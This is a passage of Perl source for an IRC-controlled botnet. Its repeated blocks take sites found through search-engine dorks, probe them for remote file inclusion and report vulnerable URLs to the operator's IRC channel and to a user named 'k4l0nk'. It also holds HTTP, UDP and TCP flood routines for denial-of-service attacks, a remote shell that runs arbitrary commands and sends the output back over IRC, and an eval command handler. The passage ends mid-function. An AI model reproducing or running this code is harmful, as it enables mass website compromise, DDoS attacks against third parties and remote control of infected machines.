  702. foreach my $sito (@puliti)
  703. {
  704. $contatore++;
  705. if ($contatore %50==0){
  706. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  707. }
  708. if ($contatore==$uni-1){
  709. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4aSk12)7 sCaN fiNniShed for $dork");
  710. }
  711. ### Print CMD and TEST CMD###
  712. my $test="http://".$sito.$bug.$id."?";
  713. my $print="http://".$sito.$bug.$cmd."?";
  714. ### End of Print CMD and TEST CMD###
  715. my $req=HTTP::Request->new(GET=>$test);
  716. my $ua=LWP::UserAgent->new();
  717. $ua->timeout(7);
  718. my $response=$ua->request($req);
  719. if ($response->is_success) {
  720. my $re=$response->content;
  721. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  722. my $hs=geths($print); $hosts{$hs}++;
  723. if($hosts{$hs}=="1"){
  724. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  725. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  726. }}
  727. elsif($re =~ /k4l0nk/)
  728. {
  729. my $hs=geths($print); $hosts{$hs}++;
  730. if($hosts{$hs}=="1"){
  731. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  732. }}
  733. }}}
  734. exit;
  735. }}
  736.  
  737. #
  738. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  739. if (my $pid = fork) {
  740. waitpid($pid, 0);
  741. } else {
  742. if (fork) {
  743. exit;
  744. } else {
  745. my $bug=$1;
  746. my $dork=$2;
  747. my $contatore=0;
  748. my %hosts;
  749. my @uollist=&uol($dork);
  750. push(my @tot, @uollist );
  751. my @puliti=&unici(@tot);
  752. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4uoL12) 2".scalar(@tot)." 3sites");
  753. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4uoL12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  754. my $uni=scalar(@puliti);
  755. foreach my $sito (@puliti)
  756. {
  757. $contatore++;
  758. if ($contatore %50==0){
  759. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  760. }
  761. if ($contatore==$uni-1){
  762. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4uoL12)7 sCaN fiNniShed for $dork");
  763. }
  764. ### Print CMD and TEST CMD###
  765. my $test="http://".$sito.$bug.$id."?";
  766. my $print="http://".$sito.$bug.$cmd."?";
  767. ### End of Print CMD and TEST CMD###
  768. my $req=HTTP::Request->new(GET=>$test);
  769. my $ua=LWP::UserAgent->new();
  770. $ua->timeout(7);
  771. my $response=$ua->request($req);
  772. if ($response->is_success) {
  773. my $re=$response->content;
  774. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  775. my $hs=geths($print); $hosts{$hs}++;
  776. if($hosts{$hs}=="1"){
  777. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  778. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  779. }}
  780. elsif($re =~ /k4l0nk/)
  781. {
  782. my $hs=geths($print); $hosts{$hs}++;
  783. if($hosts{$hs}=="1"){
  784. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  785. }}
  786. }}}
  787. exit;
  788. }}
  789.  
  790. #
  791. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  792. if (my $pid = fork) {
  793. waitpid($pid, 0);
  794. } else {
  795. if (fork) {
  796. exit;
  797. } else {
  798. my $bug=$1;
  799. my $dork=$2;
  800. my $contatore=0;
  801. my %hosts;
  802. my @alist=&altavista($dork);
  803. push(my @tot, @alist );
  804. my @puliti=&unici(@tot);
  805. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4aLtaviSta12) 2".scalar(@tot)." 3sites");
  806. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4aLtaviSta12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  807. my $uni=scalar(@puliti);
  808. foreach my $sito (@puliti)
  809. {
  810. $contatore++;
  811. if ($contatore %50==0){
  812. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  813. }
  814. if ($contatore==$uni-1){
  815. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4aLtaviSta12)7 sCaN fiNniShed for $dork");
  816. }
  817. ### Print CMD and TEST CMD###
  818. my $test="http://".$sito.$bug.$id."?";
  819. my $print="http://".$sito.$bug.$cmd."?";
  820. ### End of Print CMD and TEST CMD###
  821. my $req=HTTP::Request->new(GET=>$test);
  822. my $ua=LWP::UserAgent->new();
  823. $ua->timeout(7);
  824. my $response=$ua->request($req);
  825. if ($response->is_success) {
  826. my $re=$response->content;
  827. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  828. my $hs=geths($print); $hosts{$hs}++;
  829. if($hosts{$hs}=="1"){
  830. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  831. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  832. }}
  833. elsif($re =~ /k4l0nk/)
  834. {
  835. my $hs=geths($print); $hosts{$hs}++;
  836. if($hosts{$hs}=="1"){
  837. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  838. }}
  839. }}}
  840. exit;
  841. }}
  842.  
  843. #
  844. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  845. if (my $pid = fork) {
  846. waitpid($pid, 0);
  847. } else {
  848. if (fork) {
  849. exit;
  850. } else {
  851. my $bug=$1;
  852. my $dork=$2;
  853. my $contatore=0;
  854. my %hosts;
  855. my @naver=&naver($dork);
  856. push(my @tot, @naver );
  857. my @puliti=&unici(@tot);
  858. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4nAvEr12) 2".scalar(@tot)." 3sites");
  859. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4nAvEr12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  860. my $uni=scalar(@puliti);
  861. foreach my $sito (@puliti)
  862. {
  863. $contatore++;
  864. if ($contatore %50==0){
  865. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  866. }
  867. if ($contatore==$uni-1){
  868. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4nAvEr12)7 sCaN fiNniShed for $dork");
  869. }
  870. ### Print CMD and TEST CMD###
  871. my $test="http://".$sito.$bug.$id."?";
  872. my $print="http://".$sito.$bug.$cmd."?";
  873. ### End of Print CMD and TEST CMD###
  874. my $req=HTTP::Request->new(GET=>$test);
  875. my $ua=LWP::UserAgent->new();
  876. $ua->timeout(7);
  877. my $response=$ua->request($req);
  878. if ($response->is_success) {
  879. my $re=$response->content;
  880. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  881. my $hs=geths($print); $hosts{$hs}++;
  882. if($hosts{$hs}=="1"){
  883. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  884. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  885. }}
  886. elsif($re =~ /k4l0nk/)
  887. {
  888. my $hs=geths($print); $hosts{$hs}++;
  889. if($hosts{$hs}=="1"){
  890. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  891. }}
  892. }}}
  893. exit;
  894. }}
  895.  
  896. #
  897. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  898. if (my $pid = fork) {
  899. waitpid($pid, 0);
  900. } else {
  901. if (fork) {
  902. exit;
  903. } else {
  904. my $bug=$1;
  905. my $dork=$2;
  906. my $contatore=0;
  907. my %hosts;
  908. my @baidu=&baidu($dork);
  909. push(my @tot, @baidu );
  910. my @puliti=&unici(@tot);
  911. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4bAidu12) 2".scalar(@tot)." 3sites");
  912. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4bAidu12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  913. my $uni=scalar(@puliti);
  914. foreach my $sito (@puliti)
  915. {
  916. $contatore++;
  917. if ($contatore %50==0){
  918. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  919. }
  920. if ($contatore==$uni-1){
  921. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4bAidu12)7 sCaN fiNniShed for $dork");
  922. }
  923. ### Print CMD and TEST CMD###
  924. my $test="http://".$sito.$bug.$id."?";
  925. my $print="http://".$sito.$bug.$cmd."?";
  926. ### End of Print CMD and TEST CMD###
  927. my $req=HTTP::Request->new(GET=>$test);
  928. my $ua=LWP::UserAgent->new();
  929. $ua->timeout(7);
  930. my $response=$ua->request($req);
  931. if ($response->is_success) {
  932. my $re=$response->content;
  933. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  934. my $hs=geths($print); $hosts{$hs}++;
  935. if($hosts{$hs}=="1"){
  936. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  937. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  938. }}
  939. elsif($re =~ /k4l0nk/)
  940. {
  941. my $hs=geths($print); $hosts{$hs}++;
  942. if($hosts{$hs}=="1"){
  943. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  944. }}
  945. }}}
  946. exit;
  947. }}
  948.  
  949. #
  950. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  951. if (my $pid = fork) {
  952. waitpid($pid, 0);
  953. } else {
  954. if (fork) {
  955. exit;
  956. } else {
  957. my $bug=$1;
  958. my $dork=$2;
  959. my $contatore=0;
  960. my %hosts;
  961. my @fireball=&fireball($dork);
  962. push(my @tot, @fireball );
  963. my @puliti=&unici(@tot);
  964. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4fiRebaLL12) 2".scalar(@tot)." 3sites");
  965. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4fiRebaLL12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  966. my $uni=scalar(@puliti);
  967. foreach my $sito (@puliti)
  968. {
  969. $contatore++;
  970. if ($contatore %50==0){
  971. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  972. }
  973. if ($contatore==$uni-1){
  974. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4fiRebaLL12)7 sCaN fiNniShed for $dork");
  975. }
  976. ### Print CMD and TEST CMD###
  977. my $test="http://".$sito.$bug.$id."?";
  978. my $print="http://".$sito.$bug.$cmd."?";
  979. ### End of Print CMD and TEST CMD###
  980. my $req=HTTP::Request->new(GET=>$test);
  981. my $ua=LWP::UserAgent->new();
  982. $ua->timeout(7);
  983. my $response=$ua->request($req);
  984. if ($response->is_success) {
  985. my $re=$response->content;
  986. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  987. my $hs=geths($print); $hosts{$hs}++;
  988. if($hosts{$hs}=="1"){
  989. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  990. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  991. }}
  992. elsif($re =~ /k4l0nk/)
  993. {
  994. my $hs=geths($print); $hosts{$hs}++;
  995. if($hosts{$hs}=="1"){
  996. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  997. }}
  998. }}}
  999. exit;
  1000. }}
  1001.  
  1002. #
  1003. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  1004. if (my $pid = fork) {
  1005. waitpid($pid, 0);
  1006. } else {
  1007. if (fork) {
  1008. exit;
  1009. } else {
  1010. my $bug=$1;
  1011. my $dork=$2;
  1012. my $contatore=0;
  1013. my %hosts;
  1014. my @guruji=&guruji($dork);
  1015. push(my @tot, @guruji );
  1016. my @puliti=&unici(@tot);
  1017. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4guRuji12) 2".scalar(@tot)." 3sites");
  1018. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4guRuji12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  1019. my $uni=scalar(@puliti);
  1020. foreach my $sito (@puliti)
  1021. {
  1022. $contatore++;
  1023. if ($contatore %50==0){
  1024. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  1025. }
  1026. if ($contatore==$uni-1){
  1027. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4guRuji12)7 sCaN fiNniShed for $dork");
  1028. }
  1029. ### Print CMD and TEST CMD###
  1030. my $test="http://".$sito.$bug.$id."?";
  1031. my $print="http://".$sito.$bug.$cmd."?";
  1032. ### End of Print CMD and TEST CMD###
  1033. my $req=HTTP::Request->new(GET=>$test);
  1034. my $ua=LWP::UserAgent->new();
  1035. $ua->timeout(7);
  1036. my $response=$ua->request($req);
  1037. if ($response->is_success) {
  1038. my $re=$response->content;
  1039. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  1040. my $hs=geths($print); $hosts{$hs}++;
  1041. if($hosts{$hs}=="1"){
  1042. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  1043. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  1044. }}
  1045. elsif($re =~ /k4l0nk/)
  1046. {
  1047. my $hs=geths($print); $hosts{$hs}++;
  1048. if($hosts{$hs}=="1"){
  1049. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  1050. }}
  1051. }}}
  1052. exit;
  1053. }}
  1054.  
  1055. #
  1056. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  1057. if (my $pid = fork) {
  1058. waitpid($pid, 0);
  1059. } else {
  1060. if (fork) {
  1061. exit;
  1062. } else {
  1063. my $bug=$1;
  1064. my $dork=$2;
  1065. my $contatore=0;
  1066. my %hosts;
  1067. my @mozbot=&mozbot($dork);
  1068. push(my @tot, @mozbot );
  1069. my @puliti=&unici(@tot);
  1070. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4mOzBot12) 2".scalar(@tot)." 3sites");
  1071. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4mOzBot12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  1072. my $uni=scalar(@puliti);
  1073. foreach my $sito (@puliti)
  1074. {
  1075. $contatore++;
  1076. if ($contatore %50==0){
  1077. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  1078. }
  1079. if ($contatore==$uni-1){
  1080. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4mOzBot12)7 sCaN fiNniShed for $dork");
  1081. }
  1082. ### Print CMD and TEST CMD###
  1083. my $test="http://".$sito.$bug.$id."?";
  1084. my $print="http://".$sito.$bug.$cmd."?";
  1085. ### End of Print CMD and TEST CMD###
  1086. my $req=HTTP::Request->new(GET=>$test);
  1087. my $ua=LWP::UserAgent->new();
  1088. $ua->timeout(7);
  1089. my $response=$ua->request($req);
  1090. if ($response->is_success) {
  1091. my $re=$response->content;
  1092. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  1093. my $hs=geths($print); $hosts{$hs}++;
  1094. if($hosts{$hs}=="1"){
  1095. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  1096. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  1097. }}
  1098. elsif($re =~ /k4l0nk/)
  1099. {
  1100. my $hs=geths($print); $hosts{$hs}++;
  1101. if($hosts{$hs}=="1"){
  1102. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  1103. }}
  1104. }}}
  1105. exit;
  1106. }}
  1107.  
  1108. #
  1109. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  1110. if (my $pid = fork) {
  1111. waitpid($pid, 0);
  1112. } else {
  1113. if (fork) {
  1114. exit;
  1115. } else {
  1116. my $bug=$1;
  1117. my $dork=$2;
  1118. my $contatore=0;
  1119. my %hosts;
  1120. my @ylist=&yahoo($dork);
  1121. my @yalist=&yahooa($dork);
  1122. my @yblist=&yahoob($dork);
  1123. my @yclist=&yahooc($dork);
  1124. my @ydlist=&yahood($dork);
  1125. push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist, @ydlist );
  1126. push(my @tot, @yahoobypass );
  1127. my @puliti=&unici(@tot);
  1128. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4yaHoo12) 2".scalar(@tot)." 3sites");
  1129. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4yaHoo12)7 wE have cLeaNed 2".scalar(@puliti)." 3sites");
  1130. my $uni=scalar(@puliti);
  1131. foreach my $sito (@puliti)
  1132. {
  1133. $contatore++;
  1134. if ($contatore %50==0){
  1135. #sendraw($IRC_cur_socket, "PRIVMSG $printl :3Exploiting1 ".$contatore." 3of1 ".$uni. " 3Sites");
  1136. }
  1137. if ($contatore==$uni-1){
  1138. sendraw($IRC_cur_socket, "PRIVMSG $printl :12(10@4yaHoo12)7 sCaN fiNniShed for $dork");
  1139. }
  1140. ### Print CMD and TEST CMD###
  1141. my $test="http://".$sito.$bug.$id."?";
  1142. my $print="http://".$sito.$bug.$cmd."?";
  1143. ### End of Print CMD and TEST CMD###
  1144. my $req=HTTP::Request->new(GET=>$test);
  1145. my $ua=LWP::UserAgent->new();
  1146. $ua->timeout(7);
  1147. my $response=$ua->request($req);
  1148. if ($response->is_success) {
  1149. my $re=$response->content;
  1150. if($re =~ /k4l0nk/ && $re =~ /uid=/){
  1151. my $hs=geths($print); $hosts{$hs}++;
  1152. if($hosts{$hs}=="1"){
  1153. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 7OFF14): 4$print ");
  1154. sendraw($IRC_cur_socket, "PRIVMSG k4l0nk :14(2Safe Mode = 7OFF14): 4$print ");
  1155. }}
  1156. elsif($re =~ /k4l0nk/)
  1157. {
  1158. my $hs=geths($print); $hosts{$hs}++;
  1159. if($hosts{$hs}=="1"){
  1160. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2Safe Mode = 3ON14): 12$print ");
  1161. }}
  1162. }}}
  1163. exit;
  1164. }}
  1165.  
  1166. ######################
  1167. # HTTPFlood #
  1168. # #
  1169. ######################
  1170. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1171. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2HttpFlood14)3 Attacking 14 ".$1." 2 on port 80 for 14 ".$2." 3 seconds .");
  1172. my $itime = time;
  1173. my ($cur_time);
  1174. $cur_time = time - $itime;
  1175. while ($2>$cur_time){
  1176. $cur_time = time - $itime;
  1177. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1178. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1179. close($socket);
  1180. }
  1181. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2HttpFlood14)3 Attacking selesai 14 ".$1.".");
  1182. }
  1183. ######################
  1184. # End of HTTPFlood #
  1185. # #
  1186. ######################
  1187.  
  1188. ######################
  1189. # UDPFlood #
  1190. # #
  1191. ######################
  1192. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1193. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2UDPFlood14)3 Attacking 14 ".$1." 3 with 4 ".$2." 3 Kb Packets for 14 ".$3." 3 seconds.");
  1194. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1195. $dtime = 1 if $dtime == 0;
  1196. my %bytes;
  1197. $bytes{igmp} = $2 * $pacotes{igmp};
  1198. $bytes{icmp} = $2 * $pacotes{icmp};
  1199. $bytes{o} = $2 * $pacotes{o};
  1200. $bytes{udp} = $2 * $pacotes{udp};
  1201. $bytes{tcp} = $2 * $pacotes{tcp};
  1202. sendraw($IRC_cur_socket, "PRIVMSG $printl :14(2UDPFlood14)3 Results 14 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 3Kb in14 ".$dtime." 3seconds to14 ".$1.".");
  1203. }
  1204. exit;
  1205.  
  1206. ######################
  1207. # End of Udpflood #
  1208. # #
  1209. ######################
  1210.  
  1211.  
  1212. sub ircase {
  1213. my ($kem, $printl, $case) = @_;
  1214. if ($case =~ /^join (.*)/) {
  1215. j("$1");
  1216. }
  1217. if ($case =~ /^part (.*)/) {
  1218. p("$1");
  1219. }
  1220. if ($case =~ /^rejoin\s+(.*)/) {
  1221. my $chan = $1;
  1222. if ($chan =~ /^(\d+) (.*)/) {
  1223. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1224. p("$2");
  1225. j("$2");
  1226. }
  1227. }
  1228. else {
  1229. p("$chan");
  1230. j("$chan");
  1231. }
  1232. }
  1233.  
  1234. if ($case =~ /^op/) {
  1235. op("$printl", "$kem") if $case eq "op";
  1236. my $oarg = substr($case, 3);
  1237. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1238. }
  1239.  
  1240. if ($case =~ /^deop/) {
  1241. deop("$printl", "$kem") if $case eq "deop";
  1242. my $oarg = substr($case, 5);
  1243. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1244. }
  1245.  
  1246. if ($case =~ /^msg\s+(\S+) (.*)/) {
  1247. msg("$1", "$2");
  1248. }
  1249.  
  1250. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1251. for (my $cf = 1; $cf <= $1; $cf++) {
  1252. msg("$2", "$3");
  1253. }
  1254. }
  1255.  
  1256. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1257. ctcp("$1", "$2");
  1258. }
  1259.  
  1260. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1261. for (my $cf = 1; $cf <= $1; $cf++) {
  1262. ctcp("$2", "$3");
  1263. }
  1264. }
  1265.  
  1266. if ($case =~ /^nick (.*)/) {
  1267. nick("$1");
  1268. }
  1269.  
  1270. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1271. conectar("$2", "$1", 6667);
  1272. }
  1273.  
  1274. if ($case =~ /^raw (.*)/) {
  1275. sendraw("$1");
  1276. }
  1277.  
  1278. if ($case =~ /^eval (.*)/) {
  1279. eval "$1";
  1280. }
  1281. }
  1282.  
  1283.  
  1284. sub shell {
  1285. my $printl=$_[0];
  1286. my $comando=$_[1];
  1287. if ($comando =~ /cd (.*)/) {
  1288. chdir("$1") || msg("$printl", "No such file or directory");
  1289. return;
  1290. }
  1291.  
  1292. elsif ($pid = fork) {
  1293. waitpid($pid, 0);
  1294. }
  1295. else {
  1296. if (fork) {
  1297. exit;
  1298.  
  1299. } else {
  1300. my @resp=`$comando 2>&1 3>&1`;
  1301. my $c=0;
  1302. foreach my $linha (@resp) {
  1303. $c++;
  1304. chop $linha;
  1305. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1306. if ($c == "$linas_max") {
  1307. $c=0;
  1308. sleep $sleep;
  1309. }
  1310. }
  1311. exit;
  1312. }
  1313. }
  1314. }
  1315.  
  1316. sub tcpflooder {
  1317. my $itime = time;
  1318. my ($cur_time);
  1319. my ($ia,$pa,$proto,$j,$l,$t);
  1320. $ia=inet_aton($_[0]);
  1321. $pa=sockaddr_in($_[1],$ia);
  1322. $ftime=$_[2];
  1323. $proto=getprotobyname('tcp');
  1324. $j=0;$l=0;
  1325. $cur_time = time - $itime;
  1326. while ($l<1000){
  1327. $cur_time = time - $itime;
  1328. last if $cur_time >= $ftime;
  1329. $t="SOCK$l";
  1330. socket($t,PF_INET,SOCK_STREAM,$proto);
  1331. connect($t,$pa)||$j--;
  1332. $j++;$l++;
  1333. }
  1334. $l=0;
  1335. while ($l<1000){
  1336. $cur_time = time - $itime;
  1337. last if $cur_time >= $ftime;
  1338. $t="SOCK$l";
  1339. shutdown($t,2);
  1340. $l++;
  1341. }
  1342. }
  1343.  
  1344.  
  1345.  
  1346. sub udpflooder {
  1347. my $iaddr = inet_aton($_[0]);
  1348. my $msg = 'A' x $_[1];
  1349. my $ftime = $_[2];
  1350. my $cp = 0;
  1351. my (%pacotes);
  1352. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1353. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1354. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1355. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1356. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1357. return(undef) if $cp == 4;
  1358. my $itime = time;
  1359. my ($cur_time);
  1360. while ( 1 ) {
  1361. for (my $porta = 1;
  1362. $porta <= 65000; $porta++) {
  1363. $cur_time = time - $itime;
  1364. last if $cur_time >= $ftime;
  1365. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1366. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1367. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1368. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1369.  
  1370.  
  1371. for (my $pc = 3;
  1372. $pc <= 255;$pc++) {
  1373. next if $pc == 6;
  1374. $cur_time = time - $itime;
  1375. last if $cur_time >= $ftime;
  1376. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1377. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1378. }
  1379. }
  1380. last if $cur_time >= $ftime;
  1381. }
  1382. return($cur_time, %pacotes);
  1383. }
  1384.  
  1385. sub ctcp {
  1386. return unless $#_ == 1;
  1387. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1388. }
  1389.  
  1390. sub msg {
  1391. return unless $#_ == 1;
  1392. sendraw("PRIVMSG $_[0] :$_[1]");
  1393. }
  1394.  
  1395. sub notice {
  1396. return unless $#_ == 1;
  1397. sendraw("NOTICE $_[0] :$_[1]");
  1398. }
  1399.  
  1400. sub op {
  1401. return unless $#_ == 1;
  1402. sendraw("MODE $_[0] +o $_[1]");
  1403. }
  1404.  
  1405. sub deop {
  1406. return unless $#_ == 1;
  1407. sendraw("MODE $_[0] -o $_[1]");
  1408. }
  1409.  
  1410. sub j {
  1411. &join(@_);
  1412. }
  1413.  
  1414. sub join {
  1415. return unless $#_ == 0;
  1416. sendraw("JOIN $_[0]");
  1417.  
  1418. }
  1419. sub p { part(@_);
  1420. }
  1421.  
  1422. sub part {
  1423. sendraw("PART $_[0]");
  1424. }
  1425.  
  1426. sub nick {
  1427. return unless $#_ == 0;
  1428. sendraw("NICK $_[0]");
  1429. }
  1430.  
  1431. sub quit {
  1432. sendraw("QUIT :$_[0]");
  1433. }
  1434.  
  1435. sub fetch(){
  1436. my $rnd=(int(rand(9999)));
  1437. my $n= 80;
  1438. if ($rnd<5000) { $n<<=1;}
  1439. my $s= (int(rand(10)) * $n);
  1440. {
  1441. my @dominios = ("removed-them-all");
  1442. my @str;
  1443. foreach $dom (@dominios)
  1444. {
  1445. push (@str,"@gstring");
  1446. }
  1447. my $query="www.google.com/search?q=";
  1448. $query.=$str[(rand(scalar(@str)))];
  1449. $query.="&num=$n&start=$s";
  1450. my @lst=();
  1451. sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  1452. my $page = http_query($query);
  1453. while ($page =~ m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  1454. if ($1 !~ m/google|cache|translate/){
  1455. push (@lst,$1);
  1456. }
  1457. }
  1458. return (@lst);
  1459. }
  1460.  
  1461. sub msn(){
  1462. my @lst;
  1463. my $key = $_[0];
  1464. for($b=1;$b<=1000;$b+=10){
  1465. my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
  1466. my $Res=query($MsN);
  1467. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1468. if($1 !~ /msn|live/){
  1469. my $k=$1;
  1470. my @grep=links($k);
  1471. push(@lst,@grep);
  1472. }}}
  1473. return @lst;
  1474. }
  1475.  
  1476. sub yahoo(){
  1477. my @lst;
  1478. my $key = $_[0];
  1479. for($b=1;$b<=1000;$b+=100){
  1480. my $Ya=("http://search.yahoo.co.in/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1481. my $Res=query($Ya);
  1482. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
